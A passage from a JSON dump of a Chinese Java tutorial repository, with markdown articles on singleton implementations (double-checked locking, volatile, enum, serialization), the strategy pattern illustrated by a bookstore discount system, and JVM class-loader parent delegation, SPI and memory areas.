\n\n这种写法能够在多线程中很好的工作，而且看起来它也具备很好的延迟加载，但是，遗憾的是，他效率很低，因为99%情况下不需要同步。（因为上面的`synchronized`的加锁范围是整个方法，该方法的所有操作都是同步进行的，但是对于非第一次创建对象的情况，也就是没有进入`if`语句中的情况，根本不需要同步操作，可以直接返回`instance`。）\n\n### 双重校验锁\n\n针对上面code 6存在的问题，相信对并发编程了解的同学都知道如何解决。其实上面的代码存在的问题主要是锁的范围太大了。只要缩小锁的范围就可以了。那么如何缩小锁的范围呢？相比于同步方法，同步代码块的加锁范围更小。code 6可以改造成：\n\n    //code 7\n    public class Singleton {\n    \n        private static Singleton singleton;\n    \n        private Singleton() {\n        }\n    \n        public static Singleton getSingleton() {\n            if (singleton == null) {\n                synchronized (Singleton.class) {\n                    if (singleton == null) {\n                        singleton = new Singleton();\n                    }\n                }\n            }\n            return singleton;\n        }\n    }\n    \n\ncode 7是对于code 6的一种改进写法，通过使用同步代码块的方式减小了锁的范围。这样可以大大提高效率。（对于已经存在`singleton`的情况，无须同步，直接return）。\n\n但是，事情这的有这么容易吗？上面的代码看上去好像是没有任何问题。实现了惰性初始化，解决了同步问题，还减小了锁的范围，提高了效率。但是，该代码还存在隐患。隐患的原因主要和[Java内存模型（JMM][7]）有关。考虑下面的事件序列：\n\n> 线程A发现变量没有被初始化, 然后它获取锁并开始变量的初始化。\n> \n> 由于某些编程语言的语义，编译器生成的代码允许在线程A执行完变量的初始化之前，更新变量并将其指向部分初始化的对象。\n> \n> 线程B发现共享变量已经被初始化，并返回变量。由于线程B确信变量已被初始化，它没有获取锁。如果在A完成初始化之前共享变量对B可见（这是由于A没有完成初始化或者因为一些初始化的值还没有穿过B使用的内存(缓存一致性)），程序很可能会崩溃。\n\n（上面的例子不太能理解的同学，请恶补JAVA内存模型相关知识）\n\n在[J2SE 1.4][8]或更早的版本中使用双重检查锁有潜在的危险，有时会正常工作（区分正确实现和有小问题的实现是很困难的。取决于编译器，线程的调度和其他并发系统活动，不正确的实现双重检查锁导致的异常结果可能会间歇性出现。重现异常是十分困难的。） 在[J2SE 5.0][8]中，这一问题被修正了。[volatile][9]关键字保证多个线程可以正确处理单件实例\n\n所以，针对code 7 ，可以有code 8 和code 9两种替代方案：\n\n使用`volatile`\n\n    //code 8\n    public class VolatileSingleton {\n        private static volatile VolatileSingleton singleton;\n    \n        private VolatileSingleton() {\n        }\n    \n        public static VolatileSingleton getSingleton() {\n            if (singleton == null) {\n                synchronized (VolatileSingleton.class) {\n                    if (singleton == null) {\n                        singleton = new VolatileSingleton();\n                    }\n                }\n            }\n            return singleton;\n        }\n    }\n    \n\n**上面这种双重校验锁的方式用的比较广泛，他解决了前面提到的所有问题。**但是，即使是这种看上去完美无缺的方式也可能存在问题，那就是遇到序列化的时候。详细内容后文介绍。\n\n使用`final`\n\n    //code 9\n    class FinalWrapper<T> {\n        public final T value;\n    \n        public FinalWrapper(T value) {\n            this.value = value;\n        }\n    }\n    \n    public class FinalSingleton {\n        private FinalWrapper<FinalSingleton> helperWrapper = null;\n    \n        public FinalSingleton getHelper() {\n            FinalWrapper<FinalSingleton> wrapper = helperWrapper;\n    \n            if (wrapper == null) {\n                synchronized (this) {\n                    if (helperWrapper == null) {\n                        helperWrapper = new FinalWrapper<FinalSingleton>(new FinalSingleton());\n                    }\n                    wrapper = helperWrapper;\n                }\n            }\n            return wrapper.value;\n        }\n    }\n    \n\n### 枚举式\n\n在1.5之前，实现单例一般只有以上几种办法，在1.5之后，还有另外一种实现单例的方式，那就是使用枚举：\n\n    // code 10\n    public enum  Singleton {\n    \n        INSTANCE;\n        Singleton() {\n        }\n    }\n    \n\n这种方式是[Effective Java][10]作者`Josh Bloch` 提倡的方式，它不仅能避免多线程同步问题，而且还能防止反序列化重新创建新的对象（下面会介绍），可谓是很坚强的壁垒啊，在深度分析Java的枚举类型—-枚举的线程安全性及序列化问题中有详细介绍枚举的线程安全问题和序列化问题，不过，个人认为由于1.5中才加入`enum`特性，用这种方式写不免让人感觉生疏，在实际工作中，我也很少看见有人这么写过，但是不代表他不好。\n\n## 单例与序列化\n\n在[单例与序列化的那些事儿][11]一文中，[Hollis][12]就分析过单例和序列化之前的关系——序列化可以破坏单例。要想防止序列化对单例的破坏，只要在`Singleton`类中定义`readResolve`就可以解决该问题：\n\n    //code 11\n    package com.hollis;\n    import java.io.Serializable;\n    /**\n     * Created by hollis on 16/2/5.\n     * 使用双重校验锁方式实现单例\n     */\n    public class Singleton implements Serializable{\n        private volatile static Singleton singleton;\n        private Singleton (){}\n        public static Singleton getSingleton() {\n            if (singleton == null) {\n                synchronized (Singleton.class) {\n                    if (singleton == null) {\n                        singleton = new Singleton();\n                    }\n                }\n            }\n            return singleton;\n        }\n    \n        private Object readResolve() {\n            return singleton;\n        }\n    }\n    \n\n## 总结\n\n本文中介绍了几种实现单例的方法，主要包括饿汉、懒汉、使用静态内部类、双重校验锁、枚举等。还介绍了如何防止序列化破坏类的单例性。\n\n从单例的实现中，我们可以发现，一个简单的单例模式就能涉及到这么多知识。在不断完善的过程中可以了解并运用到更多的知识。所谓学无止境。\n\n**文中所有代码见[GitHub][13]**\n\n## 参考资料\n\n[单例模式的七种写法][14]\n\n[双重检查锁定模式][15]\n\n[深入浅出设计模式][16]\n\n[单例模式][17]\n\n [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\n [2]: http://www.hollischuang.com/archives/1368\n [3]: http://s.click.taobao.com/t?e=m%3D2%26s%3DT5l23XuxzMIcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67sqCcISrC8hOF%2FSaKyaJTUZpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZhtlrJbLMDAQihpQCXu2JnMU7C4KV%2Fo0CcYMXU3NNCg%2F&pvid=10_42.120.73.203_2589754_1459955095482\n [4]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160406-0.png\n [5]: http://www.hollischuang.com/archives/197\n [6]: http://www.hollischuang.com/archives/201\n [7]: http://www.hollischuang.com/archives/1003\n [8]: https://zh.wikipedia.org/wiki/Java_SE\n [9]: https://zh.wikipedia.org/wiki/Volatile%E5%8F%98%E9%87%8F\n [10]: http://s.click.taobao.com/t?e=m=2&s=ix/dAcrx42AcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67vbkYfk%2bHavVTHm2guh0YLtpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZtVr9sOV2MxmP1RxEmSieVPs8Gq%2bZDw%2bWcYMXU3NNCg/&pvid=10_42.120.73.203_425_1459957079215\n [11]: http://www.hollischuang.com/archives/1144\n [12]: http://www.hollischuang.com\n [13]: https://github.com/hollischuang/DesignPattern\n [14]: http://www.hollischuang.com/archives/205\n [15]: https://zh.wikipedia.org/wiki/%E5%8F%8C%E9%87%8D%E6%A3%80%E6%9F%A5%E9%94%81%E5%AE%9A%E6%A8%A1%E5%BC%8F\n [16]: http://s.click.taobao.com/t?e=m%3D2%26s%3Detkt7EP2O5scQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67nWAf3rZA5A%2FrumJQoe%2FxcNpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2Bw2PNKvM2u52N5aP5%2Bgx7zgh4LxdBQDQSXEqY%2Bakgpmw&pvid=10_42.120.73.203_1238_1459955035603\n [17]: http://www.runoob.com/design-pattern/singleton-pattern.html"
  },
  {
    "path": "docs/advance/design-patterns/strategy-pattern.md",
    "content": "\n## 概念\n\n学习过设计模式的人大概都知道[Head First设计模式][2]这本书，这本书中介绍的第一个模式就是策略模式。把策略模式放在第一个，笔者认为主要有两个原因：1、这的确是一个比较简单的模式。2、这个模式可以充分的体现面向对象设计原则中的`封装变化`、`多用组合，少用继承`、`针对接口编程，不针对实现编程`等原则。\n\n> 策略模式(Strategy Pattern)：定义一系列算法，将每一个算法封装起来，并让它们可以相互替换。策略模式让算法独立于使用它的客户而变化，也称为政策模式(Policy)。\n\n## 用途\n\n结合策略模式的概念，我们找一个实际的场景来理解一下。\n\n假设我们是一家新开的书店，为了招揽顾客，我们推出会员服务，我们把店里的会员分为三种，分别是初级会员、中级会员和高级会员。针对不同级别的会员我们给予不同的优惠。初级会员买书我们不打折、中级会员买书我们打九折、高级会员买书我们打八折。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/09/bookstore-300x300.jpg\" alt=\"bookstore\" width=\"300\" height=\"300\" class=\"alignright size-medium wp-image-1694\" />][3] 我们希望用户在付款的时候，只要刷一下书的条形码，会员再刷一下他的会员卡，收银台的工组人员就能直接知道应该向顾客收取多少钱。\n\n在不使用模式的情况下，我们可以在结算的方法中使用`if/else`语句来区别出不同的会员来计算价格。\n\n但是，如果我们有一天想要把初级会员的折扣改成9.8折怎么办？有一天我要推出超级会员怎么办？有一天我要针对中级会员可打折的书的数量做限制怎么办？\n\n使用`if\\else`设计出来的系统，所有的算法都写在了一起，只要有改动我就要修改整个类。我们都知道，只要是修改代码就有可能引入问题。为了避免这个问题，我们可以使用策略模式。。。\n\n> 对于收银台系统，计算应收款的时候，一个客户只可能是初级、中级、高级会员中的一种。不同的会员使用不同的算法来计算价格。收银台系统其实不关心具体的会员类型和折扣之间的关系。也不希望会员和折扣之间的任何改动会影响到收银台系统。\n\n在介绍策略模式的具体实现方式之前，再来巩固一下几个面向对象设计原则：`封装变化`、`多用组合，少用继承`、`针对接口编程，不针对实现编程`。想一想如何运用到策略模式中，并且有什么好处。\n\n## 实现方式\n\n策略模式包含如下角色：\n\n> Context: 环境类\n> \n> Strategy: 抽象策略类\n> \n> ConcreteStrategy: 具体策略类\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/09/Strategy.jpg\" alt=\"strategy\" width=\"764\" height=\"329\" class=\"aligncenter size-full wp-image-1692\" />][4]\n\n我们运用策略模式来实现一下书店的收银台系统。我们可以把会员抽象成一个策略类，不同的会员类型是具体的策略类。不同策略类里面实现了计算价格这一算法。然后通过组合的方式把会员集成到收银台中。\n\n先定义一个接口，这个接口就是抽象策略类，该接口定义了计算价格方法，具体实现方式由具体的策略类来定义。\n\n    /**\n     * Created by hollis on 16/9/19. 会员接口\n     */\n    public interface Member {\n    \n        /**\n         * 计算应付价格\n         * @param bookPrice 书籍原价(针对金额,建议使用BigDecimal,double会损失精度)\n         * @return 应付金额\n         */\n        public double calPrice(double bookPrice);\n    }\n    \n\n针对不同的会员，定义三种具体的策略类，每个类中都分别实现计算价格方法。\n\n    /**\n     * Created by hollis on 16/9/19. 初级会员\n     */\n    public class PrimaryMember implements Member {\n    \n        @Override\n        public double calPrice(double bookPrice) {\n            System.out.println(\"对于初级会员的没有折扣\");\n            return bookPrice;\n        }\n    }\n    \n    \n    /**\n     * Created by hollis on 16/9/19. 中级会员,买书打九折\n     */\n    public class IntermediateMember implements Member {\n    \n        @Override\n        public double calPrice(double bookPrice) {\n            System.out.println(\"对于中级会员的折扣为10%\");\n            return bookPrice * 0.9;\n        }\n    }\n    \n    \n    /**\n     * Created by hollis on 16/9/19. 高级会员,买书打八折\n     */\n    public class AdvancedMember implements Member {\n    \n        @Override\n        public double calPrice(double bookPrice) {\n            System.out.println(\"对于高级会员的折扣为20%\");\n            return bookPrice * 0.8;\n        }\n    }\n    \n\n上面几个类的定义体现了`封装变化`的设计原则，不同会员的具体折扣方式改变不会影响到其他的会员。\n\n定义好了抽象策略类和具体策略类之后，我们再来定义环境类，所谓环境类，就是集成算法的类。这个例子中就是收银台系统。采用组合的方式把会员集成进来。\n\n    /**\n     * Created by hollis on 16/9/19. 书籍价格类\n     */\n    public class Cashier {\n    \n        /**\n         * 会员,策略对象\n         */\n        private Member member;\n    \n        public Cashier(Member member){\n            this.member = member;\n        }\n    \n        /**\n         * 计算应付价格\n         * @param booksPrice\n         * @return\n         */\n        public double quote(double booksPrice) {\n            return this.member.calPrice(booksPrice);\n        }\n    }\n    \n\n这个Cashier类就是一个环境类，该类的定义体现了`多用组合，少用继承`、`针对接口编程，不针对实现编程`两个设计原则。由于这里采用了组合+接口的方式，后面我们在推出超级会员的时候无须修改Cashier类。只要再定义一个`SuperMember implements Member` 就可以了。\n\n下面定义一个客户端来测试一下：\n\n    /**\n     * Created by hollis on 16/9/19.\n     */\n    public class BookStore {\n    \n        public static void main(String[] args) {\n    \n            //选择并创建需要使用的策略对象\n            Member strategy = new AdvancedMember();\n            //创建环境\n            Cashier cashier = new Cashier(strategy);\n            //计算价格\n            double quote = cashier.quote(300);\n            System.out.println(\"高级会员图书的最终价格为：\" + quote);\n    \n            strategy = new IntermediateMember();\n            cashier = new Cashier(strategy);\n            quote = cashier.quote(300);\n            System.out.println(\"中级会员图书的最终价格为：\" + quote);\n        }\n    }\n    \n    //对于高级会员的折扣为20%\n    //高级会员图书的最终价格为：240.0\n    //对于中级会员的折扣为10%\n    //中级会员图书的最终价格为：270.0\n    \n\n从上面的示例可以看出，策略模式仅仅封装算法，提供新的算法插入到已有系统中，策略模式并不决定在何时使用何种算法。在什么情况下使用什么算法是由客户端决定的。\n\n*   策略模式的重心\n    \n    *   策略模式的重心不是如何实现算法，而是如何组织、调用这些算法，从而让程序结构更灵活，具有更好的维护性和扩展性。\n\n*   算法的平等性\n    \n    *   策略模式一个很大的特点就是各个策略算法的平等性。对于一系列具体的策略算法，大家的地位是完全一样的，正因为这个平等性，才能实现算法之间可以相互替换。所有的策略算法在实现上也是相互独立的，相互之间是没有依赖的。\n    \n    *   所以可以这样描述这一系列策略算法：策略算法是相同行为的不同实现。\n\n*   运行时策略的唯一性\n    \n    *   运行期间，策略模式在每一个时刻只能使用一个具体的策略实现对象，虽然可以动态地在不同的策略实现中切换，但是同时只能使用一个。\n\n*   公有的行为\n    \n    *   经常见到的是，所有的具体策略类都有一些公有的行为。这时候，就应当把这些公有的行为放到共同的抽象策略角色Strategy类里面。当然这时候抽象策略角色必须要用Java抽象类实现，而不能使用接口。（[《JAVA与模式》之策略模式][5]）\n\n## 策略模式的优缺点\n\n### 优点\n\n*   策略模式提供了对“开闭原则”的完美支持，用户可以在不修改原有系统的基础上选择算法或行为，也可以灵活地增加新的算法或行为。\n*   策略模式提供了管理相关的算法族的办法。策略类的等级结构定义了一个算法或行为族。恰当使用继承可以把公共的代码移到父类里面，从而避免代码重复。\n*   使用策略模式可以避免使用多重条件(if-else)语句。多重条件语句不易维护，它把采取哪一种算法或采取哪一种行为的逻辑与算法或行为的逻辑混合在一起，统统列在一个多重条件语句里面，比使用继承的办法还要原始和落后。\n\n### 缺点\n\n*   客户端必须知道所有的策略类，并自行决定使用哪一个策略类。这就意味着客户端必须理解这些算法的区别，以便适时选择恰当的算法类。\n*   由于策略模式把每个具体的策略实现都单独封装成为类，如果备选的策略很多的话，那么对象的数目就会很可观。可以通过使用享元模式在一定程度上减少对象的数量。\n\n文中所有代码见[GitHub][6]\n\n## 参考资料\n\n[《JAVA与模式》之策略模式][5]\n\n [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\n [2]: http://s.click.taobao.com/DxA2xSx\n [3]: http://www.hollischuang.com/wp-content/uploads/2016/09/bookstore.jpg\n [4]: http://www.hollischuang.com/wp-content/uploads/2016/09/Strategy.jpg\n [5]: http://www.cnblogs.com/java-my-life/archive/2012/05/10/2491891.html\n [6]: https://github.com/hollischuang/DesignPattern"
  },
  {
    "path": "docs/basement/jvm/break-parants-delegate.md",
    "content": "知道了双亲委派模型的实现，那么想要破坏双亲委派机制就很简单了。\n\n因为他的双亲委派过程都是在loadClass方法中实现的，那么想要破坏这种机制，那么就自定义一个类加载器，重写其中的loadClass方法，使其不进行双亲委派即可。"
  },
  {
    "path": "docs/basement/jvm/define-class-loader.md",
    "content": "ClassLoader中和类加载有关的方法有很多，前面提到了loadClass，除此之外，还有findClass和defineClass等，那么这几个方法有什么区别呢？\n\n* loadClass()\n    * 就是主要进行类加载的方法，默认的双亲委派机制就实现在这个方法中。\n* findClass()\n    * 根据名称或位置加载.class字节码\n* definclass()\n    * 把字节码转化为Class\n    \n这里面需要展开讲一下loadClass和findClass，我们前面说过，当我们想要自定义一个类加载器的时候，并且像破坏双亲委派原则时，我们会重写loadClass方法。\n\n那么，如果我们想定义一个类加载器，但是不想破坏双亲委派模型的时候呢？\n\n这时候，就可以继承ClassLoader，并且重写findClass方法。findClass()方法是JDK1.2之后的ClassLoader新添加的一个方法。\n\n     /**\n     * @since  1.2\n     */\n    protected Class<?> findClass(String name) throws ClassNotFoundException {\n        throw new ClassNotFoundException(name);\n    }\n    \n这个方法只抛出了一个异常，没有默认实现。\n\nJDK1.2之后已不再提倡用户直接覆盖loadClass()方法，而是建议把自己的类加载逻辑实现到findClass()方法中。\n\n因为在loadClass()方法的逻辑里，如果父类加载器加载失败，则会调用自己的findClass()方法来完成加载。\n\n所以，如果你想定义一个自己的类加载器，并且要遵守双亲委派模型，那么可以继承ClassLoader，并且在findClass中实现你自己的加载逻辑即可。"
  },
  {
    "path": "docs/basement/jvm/exclusive-in-runtime-area.md",
    "content": "在JVM运行时内存区域中，PC寄存器、虚拟机栈和本地方法栈是线程独享的。\n\n而Java堆、方法区是线程共享的。但是值得注意的是，Java堆其实还未每一个线程单独分配了一块TLAB空间，这部分空间在分配时是线程独享的，在使用时是线程共享的。"
  },
  {
    "path": "docs/basement/jvm/implements-of-parents-delegate.md",
    "content": "双亲委派模型对于保证Java程序的稳定运作很重要，但它的实现并不复杂。\n\n实现双亲委派的代码都集中在java.lang.ClassLoader的loadClass()方法之中：\n\n    protected Class<?> loadClass(String name, boolean resolve)\n            throws ClassNotFoundException\n        {\n            synchronized (getClassLoadingLock(name)) {\n                // First, check if the class has already been loaded\n                Class<?> c = findLoadedClass(name);\n                if (c == null) {\n                    long t0 = System.nanoTime();\n                    try {\n                        if (parent != null) {\n                            c = parent.loadClass(name, false);\n                        } else {\n                            c = findBootstrapClassOrNull(name);\n                        }\n                    } catch (ClassNotFoundException e) {\n                        // ClassNotFoundException thrown if class not found\n                        // from the non-null parent class loader\n                    }\n    \n                    if (c == null) {\n                        // If still not found, then invoke findClass in order\n                        // to find the class.\n                        long t1 = System.nanoTime();\n                        c = findClass(name);\n    \n                        // this is the defining class loader; record the stats\n                        sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);\n                        sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);\n                        sun.misc.PerfCounter.getFindClasses().increment();\n                    }\n                }\n                if (resolve) {\n                    resolveClass(c);\n                }\n                return c;\n            }\n        }\n        \n代码不难理解，主要就是以下几个步骤：\n\n1、先检查类是否已经被加载过 \n\n2、若没有加载则调用父加载器的loadClass()方法进行加载 \n\n3、若父加载器为空则默认使用启动类加载器作为父加载器。 \n\n4、如果父类加载失败，抛出ClassNotFoundException异常后，再调用自己的findClass()方法进行加载。"
  },
  {
    "path": "docs/basement/jvm/java-memory-model.md",
    "content": "## Java内存模型\n\n> 本文是[《成神之路系列文章》](/catalog/catalog.md)中的一篇，主要是关于JVM的一些介绍。\n> \n> 持续更新中\n\n### Java内存模型\n\n[JVM内存结构 VS Java内存模型 VS Java对象模型][2](Hollis原创)\n\n[再有人问你Java内存模型是什么，就把这篇文章发给他。][3](Hollis原创)\n\n[内存模型是怎么解决缓存一致性问题的？][4](Hollis原创)\n\n[细说Java多线程之内存可见性][5]（视频）（`推荐`）（如果嫌视频讲的慢，建议使用1.5倍速度观看）\n\n[JSR 133: JavaTM Memory Model and Thread Specification Revision][6]（JMM英文官方文档）\n\n[Java内存模型FAQ][7]\n\n[深入理解Java内存模型（一）——基础][8]\n\n[深入理解Java内存模型（二）——重排序][9]\n\n[深入理解Java内存模型（三）——顺序一致性][10]\n\n[深入理解Java内存模型（四）——volatile][11]\n\n[深入理解Java内存模型（五）——锁][12]\n\n[深入理解Java内存模型（六）——final][13]\n\n[深入理解Java内存模型（七）——总结][14]\n\n[Java 理论与实践: 修复 Java 内存模型，第 2 部分][15]（拓展阅读）\n\n [1]: http://www.hollischuang.com/archives/1001\n [2]: http://www.hollischuang.com/archives/2509\n [3]: http://www.hollischuang.com/archives/2550\n [4]: http://www.hollischuang.com/archives/2662\n [5]: http://www.imooc.com/learn/352\n [6]: https://www.jcp.org/en/jsr/detail?id=133\n [7]: http://ifeve.com/jmm-faq/\n [8]: http://www.infoq.com/cn/articles/java-memory-model-1\n [9]: http://www.infoq.com/cn/articles/java-memory-model-2\n [10]: http://www.infoq.com/cn/articles/java-memory-model-3\n [11]: http://www.infoq.com/cn/articles/java-memory-model-4\n [12]: http://www.infoq.com/cn/articles/java-memory-model-5\n [13]: http://www.infoq.com/cn/articles/java-memory-model-6\n [14]: http://www.infoq.com/cn/articles/java-memory-model-7\n [15]: https://www.ibm.com/developerworks/cn/java/j-jtp03304/"
  },
  {
    "path": "docs/basement/jvm/moduler.md",
    "content": "近几年模块化技术已经很成熟了，在JDK 9中已经应用了模块化的技术。\n\n其实早在JDK 9之前，OSGI这种框架已经是模块化的了，**而OSGI之所以能够实现模块热插拔和模块内部可见性的精准控制都归结于其特殊的类加载机制，加载器之间的关系不再是双亲委派模型的树状结构，而是发展成复杂的网状结构。**\n\n![w942](https://www.hollischuang.com/wp-content/uploads/2021/01/16102754973998.jpg)\n\n**在JDK中，双亲委派也不是绝对的了。**\n\n在JDK9之前，JVM的基础类以前都是在rt.jar这个包里，这个包也是JRE运行的基石。\n\n这不仅是违反了单一职责原则，同样程序在编译的时候会将很多无用的类也一并打包，造成臃肿。\n\n**在JDK9中，整个JDK都基于模块化进行构建，以前的rt.jar, tool.jar被拆分成数十个模块，编译的时候只编译实际用到的模块，同时各个类加载器各司其职，只加载自己负责的模块。**\n\n    Class<?> c = findLoadedClass(cn);\n    if (c == null) {\n        // 找到当前类属于哪个模块\n        LoadedModule loadedModule = findLoadedModule(cn);\n        if (loadedModule != null) {\n            //获取当前模块的类加载器\n            BuiltinClassLoader loader = loadedModule.loader();\n            //进行类加载\n            c = findClassInModuleOrNull(loadedModule, cn);\n         } else {\n              // 找不到模块信息才会进行双亲委派\n                if (parent != null) {\n                  c = parent.loadClassOrNull(cn);\n                }\n          }\n    }\n    \n\n### 总结\n\n以上，从什么是双亲委派，到如何实现与破坏双亲委派，又从破坏双亲委派的示例等多个方面全面介绍了关于双亲委派的知识。\n\n相信通过学习本文，你一定对双亲委派机制有了更加深刻的了解。\n\n阅读过本文之后，反手在简历上写下：熟悉Java的类加载机制，不服来问！"
  },
  {
    "path": "docs/basement/jvm/parents-delegate.md",
    "content": "虚拟机在加载类的过程中需要使用类加载器进行加载，而在Java中，类加载器有很多，那么当JVM想要加载一个.class文件的时候，到底应该由哪个类加载器加载呢？\n\n这就不得不提到”双亲委派机制”。\n\n首先，我们需要知道的是，Java语言系统中支持以下4种类加载器：\n\n\n* Bootstrap ClassLoader 启动类加载器\n* Extention ClassLoader 标准扩展类加载器\n* Application ClassLoader 应用类加载器\n* User ClassLoader 用户自定义类加载器\n\n这四种类加载器之间，是存在着一种层次关系的，如下图\n\n![](https://www.hollischuang.com/wp-content/uploads/2021/01/16102749464329.jpg)\n\n一般认为上一层加载器是下一层加载器的父加载器，那么，除了BootstrapClassLoader之外，所有的加载器都是有父加载器的。\n\n那么，所谓的双亲委派机制，指的就是：当一个类加载器收到了类加载的请求的时候，他不会直接去加载指定的类，而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候，才会由当前这个加载器来负责类的加载。\n\n那么，什么情况下父加载器会无法加载某一个类呢？\n\n其实，Java中提供的这四种类型的加载器，是有各自的职责的：\n\n* Bootstrap ClassLoader ，主要负责加载Java核心类库，%JRE_HOME%\\lib下的rt.jar、resources.jar、charsets.jar和class等。\n* Extention ClassLoader，主要负责加载目录%JRE_HOME%\\lib\\ext目录下的jar包和class文件。\n* Application ClassLoader ，主要负责加载当前应用的classpath下的所有类\n* User ClassLoader ， 用户自定义的类加载器,可加载指定路径的class文件\n\n那么也就是说，一个用户自定义的类，如com.hollis.ClassHollis 是无论如何也不会被Bootstrap和Extention加载器加载的。"
  },
  {
    "path": "docs/basement/jvm/relation-with-parents-delegate.md",
    "content": "很多人看到父加载器、子加载器这样的名字，就会认为Java中的类加载器之间存在着继承关系。\n\n甚至网上很多文章也会有类似的错误观点。\n\n这里需要明确一下，双亲委派模型中，类加载器之间的父子关系一般不会以继承（Inheritance）的关系来实现，而是都使用组合（Composition）关系来复用父加载器的代码的。\n\n如下为ClassLoader中父加载器的定义：\n\n    public abstract class ClassLoader {\n        // The parent class loader for delegation\n        private final ClassLoader parent;\n    }"
  },
  {
    "path": "docs/basement/jvm/runtime-area.md",
    "content": "Java虚拟机在执行Java程序的过程中会把他所管理的内存划分为若干个不同的数据区域。《Java虚拟机规范》中规定了JVM所管理的内存需要包括一下几个运行时区域：\n\n![](http://www.hollischuang.com/wp-content/uploads/2019/08/15643074729916.jpg)\n\n主要包含了PC寄存器（程序计数器）、Java虚拟机栈、本地方法栈、Java堆、方法区以及运行时常量池。\n\n\n\n1、以上是Java虚拟机规范，不同的虚拟机实现会各有不同，但是一般会遵守规范。\n\n2、规范中定义的方法区，只是一种概念上的区域，并说明了其应该具有什么功能。但是并没有规定这个区域到底应该处于何处。所以，对于不同的虚拟机实现来说，是由一定的自由度的。\n\n3、不同版本的方法区所处位置不同，上图中划分的是逻辑区域，并不是绝对意义上的物理区域。因为某些版本的JDK中方法区其实是在堆中实现的。\n\n4、运行时常量池用于存放编译期生成的各种字面量和符号应用。但是，Java语言并不要求常量只有在编译期才能产生。比如在运行期，String.intern也会把新的常量放入池中。\n\n5、除了以上介绍的JVM运行时内存外，还有一块内存区域可供使用，那就是直接内存。Java虚拟机规范并没有定义这块内存区域，所以他并不由JVM管理，是利用本地方法库直接在堆外申请的内存区域。\n\n6、堆和栈的数据划分也不是绝对的，如HotSpot的JIT会针对对象分配做相应的优化。\n\n如上，做个总结，JVM内存结构，由Java虚拟机规范定义。描述的是Java程序执行过程中，由JVM管理的不同数据区域。各个区域有其特定的功能。\n\n\n但是，需要注意的是，上面的区域划分只是逻辑区域，对于有些区域的限制是比较松的，所以不同的虚拟机厂商在实现上，甚至是同一款虚拟机的不同版本也是不尽相同的。\n\n"
  },
  {
    "path": "docs/basement/jvm/sample-of-break-parents-delegate.md",
    "content": "双亲委派机制的破坏不是什么稀奇的事情，很多框架、容器等都会破坏这种机制来实现某些功能。\n\n*第一种被破坏的情况是在双亲委派出现之前。*\n\n由于双亲委派模型是在JDK1.2之后才被引入的，而在这之前已经有用户自定义类加载器在用了。所以，这些是没有遵守双亲委派原则的。\n\n*第二种，是JNDI、JDBC等需要加载SPI接口实现类的情况。*\n\n*第三种是为了实现热插拔热部署工具。*为了让代码动态生效而无需重启，实现方式时把模块连同类加载器一起换掉就实现了代码的热替换。\n\n*第四种时tomcat等web容器的出现。*\n\n*第五种时OSGI、Jigsaw等模块化技术的应用。*\n\n"
  },
  {
    "path": "docs/basement/jvm/spi-parents-delegate.md",
    "content": "我们日常开发中，大多数时候会通过API的方式调用Java提供的那些基础类，这些基础类时被Bootstrap加载的。\n\n但是，调用方式除了API之外，还有一种SPI的方式。\n\n如典型的JDBC服务，我们通常通过以下方式创建数据库连接：\n\n    Connection conn = DriverManager.getConnection(\"jdbc:mysql://localhost:3306/mysql\", \"root\", \"1234\");\n    \n\n在以上代码执行之前，DriverManager会先被类加载器加载，因为java.sql.DriverManager类是位于rt.jar下面的 ，所以他会被根加载器加载。\n\n类加载时，会执行该类的静态方法。其中有一段关键的代码是：\n\n    ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);\n    \n\n这段代码，会尝试加载classpath下面的所有实现了Driver接口的实现类。\n\n那么，问题就来了。\n\n**DriverManager是被根加载器加载的，那么在加载时遇到以上代码，会尝试加载所有Driver的实现类，但是这些实现类基本都是第三方提供的，根据双亲委派原则，第三方的类不能被根加载器加载。**\n\n那么，怎么解决这个问题呢？\n\n于是，就**在JDBC中通过引入ThreadContextClassLoader（线程上下文加载器，默认情况下是AppClassLoader）的方式破坏了双亲委派原则。**\n\n我们深入到ServiceLoader.load方法就可以看到：\n\n    public static <S> ServiceLoader<S> load(Class<S> service) {\n        ClassLoader cl = Thread.currentThread().getContextClassLoader();\n        return ServiceLoader.load(service, cl);\n    }\n    \n\n第一行，获取当前线程的线程上下⽂类加载器 AppClassLoader，⽤于加载 classpath 中的具体实现类。"
  },
  {
    "path": "docs/basement/jvm/stack-alloc.md",
